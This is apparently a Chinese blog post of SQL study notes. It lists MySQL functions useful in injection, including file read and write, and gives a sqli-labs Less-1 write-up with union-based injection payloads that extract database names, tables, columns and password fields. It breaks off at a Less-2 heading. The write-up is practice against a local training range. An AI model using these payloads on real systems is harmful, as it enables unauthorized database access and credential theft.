本文最后更新于:星期五, 五月 15日 2020, 10:21 上午
SQL学习笔记
SQL基础
注释语句
单行注释:
- 以“#”号开头,直到该行行尾,全部都是注释内容
- 以“– ”号开头,直到该行行尾,全部都是注释内容。(“– ”与注释内容之间要加有空格)
多行注释: /……/,“/”用于注释文字的开头,“/”用于注释文字的结尾。
常用函数
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
MYSQL常规注入步骤
爆数据库名
select schema_name from information_schema.schemata
爆表名
select table_name from information_schema.tables where table_schema=''
爆列名
select column_name from information_schema.columns where table_name=''
爆出某列的内容
Select xxx from xxx
sqli-labs一个练习SQL注入的靶场
writeup
Less-1
payload
尝试id=1'报错,尝试id=1' and 1=1 %23 不报错 %23是#字符
说明这个是个单引号闭合
最终payload为http://localhost/sqli/Less-1/?id=1’ and 1=1 %23
练习下MYSQL的常规注入操作
爆破字段数
http://localhost/sqli/Less-1/?id=1’ order by 4 %23
爆数据库名
http://localhost/sqli/Less-1/?id=1’union select 1,group_concat(schema_name),3 from information_schema.schemata%23
爆表名
http://localhost/sqli/Less-1/?id=1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "test" %23
爆列名
http://localhost/sqli/Less-1/?id=1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "hack" %23
爆内容
http://localhost/sqli/Less-1/?id=1’ union select group_concat(id),group_concat(user),group_concat(pwd) from hack %23
Less-2
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!